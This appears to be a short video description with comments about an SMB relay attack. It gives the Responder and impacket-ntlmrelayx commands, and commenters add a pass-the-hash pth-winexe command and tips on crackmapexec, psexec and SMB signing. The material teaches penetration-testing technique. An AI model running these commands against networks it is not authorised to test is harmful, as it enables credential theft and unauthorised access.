SMB Relay Attack

Commands used:
1) nano /etc/responder/Responder.conf (turn off SMB and HTTP server)
2) responder -I eth0
3) impacket-ntlmrelayx -tf targets.txt -smb2support
Feel free to ask any doubts in the comment section.

[@نوافالعمر-ق7ن]

Thank you man, This was a pretty good explination

[@AmiWhom-dy9wh]

hey, how do i get a shell on that machine with the local user hash ? i've seen other tutorials and they use pth-winexe to open a cmd but using domain credentials not local ones, can i do it with my local one ? I'm trying this:
pth-winexe -U hostname/User%Hash //computerIP cmd.exe
but i get
NT_STATUS_CONNECTION_RESET

[@thatquietkid8610]

Try running commands using crackmapexec and using --local-auth flag.

[@thatquietkid8610]

I think -x is for running commands. In cmd and powershell( i think it's -x and -X)

[@thatquietkid8610]

I think winrs tool can be used for that as well. Google a bit, you will find it

[@AmiWhom-dy9wh]

@@thatquietkid8610 couldnt make winrs accept hash instead of password, but psexec did it

[@thatquietkid8610]

@@AmiWhom-dy9wh nice

[@AmiWhom-dy9wh]

is there something i can do if signing is enabled ?

[@thatquietkid8610]

i don't think so. If smb signing is enabled and enforced, the attack won't work.

[@AmiWhom-dy9wh]

@@thatquietkid8610 makes sense, another question, how do i execute something else other than dumping hashes ? like changing a password

[@thatquietkid8610]

@@AmiWhom-dy9wh Smb relay lets you relay the creds that you captured to other machines and if the creds are of a high value user, you will dump the local hashes on those machines. For changing a password, you need ACLs access like Generic All on the user or force reset password something like this.

[@AmiWhom-dy9wh]

@@thatquietkid8610 i assumed that dumping the hashes is a command and when the creds are relayed it also execute some code with it to dump the hashes, and so i thought it was possible to execute other code to do something else. Am i too wrong ?

[@thatquietkid8610]

@@AmiWhom-dy9wh what you said is intriguing. Give me some time to think. I will get back to you.

[@digitalforensicsalam4009]

Hindi may

[@thatquietkid8610]

No

[@suryasingh9526]

U r pathetic ​@@thatquietkid8610